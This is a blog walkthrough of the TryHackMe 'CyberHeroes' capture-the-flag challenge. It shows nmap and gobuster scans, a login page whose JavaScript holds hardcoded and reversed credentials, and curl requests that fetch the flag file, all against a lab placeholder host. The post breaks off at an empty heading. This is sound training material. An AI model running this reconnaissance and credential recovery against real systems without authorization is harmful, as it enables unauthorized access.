DEV Community

Yogeshwar Peela
Yogeshwar Peela

Posted on Originally published at exploitnotes.hashnode.dev

TryHackMe - CyberHeroes Writeup

Summary

CyberHeros is an easy-rated web challenge built on the iPortfolio Bootstrap template. The site advertises a "login page" challenge directly in its About section. Inspection of login.html reveals that authentication is performed entirely client-side in JavaScript, with the username hardcoded in plaintext and the password obfuscated by a trivial string-reversal function. Once the credentials are recovered from the page source, the same client script reveals the exact filename of a flag file hosted on the webserver, constructed dynamically from the submitted username and password. No exploitation of the server itself is required - the vulnerability is a client-side logic flaw combined with a predictable, credential-derived file path.

  • Target: <MACHINE_IP>
  • Category: Web
  • Difficulty: Easy
  • Key weakness: Client-side authentication with hardcoded/obfuscated credentials in JS, plus a predictable flag filename built from those credentials

1. Reconnaissance

Confirmed host is up and scanned open ports:

nmap -A -Pn <MACHINE_IP> -o nmap
Enter fullscreen mode Exit fullscreen mode

Results:

22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4
80/tcp open  http    Apache httpd 2.4.48 (Ubuntu)
Enter fullscreen mode Exit fullscreen mode

http-title identified the site as "CyberHeros : Index", running the iPortfolio Bootstrap template.

2. Initial Web Enumeration

Pulled the index page and reviewed static assets (aos.js, purecounter.js, validate.js) - all confirmed to be unmodified template vendor libraries, no custom logic there.

The index page's About section directly hints at the objective:

We find vulnerabilities in the website legally... find the vuln on our login page and login to join us.
Enter fullscreen mode Exit fullscreen mode

Nav bar links to login.html.

3. Directory Enumeration

gobuster dir -u http://<MACHINE_IP> -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bak -t 50
Enter fullscreen mode Exit fullscreen mode

Notable results:

assets                (Status: 301)
changelog.txt         (Status: 200) [Size: 2756]
index.html            (Status: 200) [Size: 6568]
login.html            (Status: 200) [Size: 5753]
Enter fullscreen mode Exit fullscreen mode

No PHP backend, no admin panel, no backup files - confirming the target is static/client-side only.

4. Inspecting login.html

Fetched the login page source directly:

curl http://<MACHINE_IP>/login.html
Enter fullscreen mode Exit fullscreen mode

The page ships an inline <script> block containing the entire authentication logic:

function authenticate() {
  a = document.getElementById('uname')
  b = document.getElementById('pass')
  const RevereString = str => [...str].reverse().join('');
  if (a.value=="h3ck3rBoi" & b.value==RevereString("54321@terceSrepuS")) {
    var xhttp = new XMLHttpRequest();
    xhttp.onreadystatechange = function() {
      if (this.readyState == 4 && this.status == 200) {
        document.getElementById("flag").innerHTML = this.responseText;
      }
    };
    xhttp.open("GET", "RandomLo0o0o0o0o0o0o0o0o0o0gpath12345_Flag_"+a.value+"_"+b.value+".txt", true);
    xhttp.send();
  }
}
Enter fullscreen mode Exit fullscreen mode

Two things fall out of this immediately:

  1. The credential check happens entirely client-side, with the username hardcoded (h3ck3rBoi) and the password only lightly obfuscated via string reversal.
  2. On a successful check, the script requests a flag file whose name is dynamically built from the raw username and password values - meaning the filename itself is fully derivable from the source, with no need to actually trigger the JS in a browser.

5. Recovering the Credentials

Reversing the obfuscated password string by hand:

54321@terceSrepuS  ->  SuperSecret@12345
Enter fullscreen mode Exit fullscreen mode

Recovered credentials:

username: h3ck3rBoi
password: SuperSecret@12345
Enter fullscreen mode Exit fullscreen mode

6. Retrieving the Flag

Reconstructed the flag filename directly from the JS template string and requested it with curl, bypassing the browser/JS entirely:

curl "http://<MACHINE_IP>/RandomLo0o0o0o0o0o0o0o0o0o0gpath12345_Flag_h3ck3rBoi_SuperSecret@12345.txt"
Enter fullscreen mode Exit fullscreen mode

Response:

Congrats Hacker, you made it !!
Go ahead and nail other challenges as well :D

flag{REDACTED}
Enter fullscreen mode Exit fullscreen mode

Key Vulnerabilities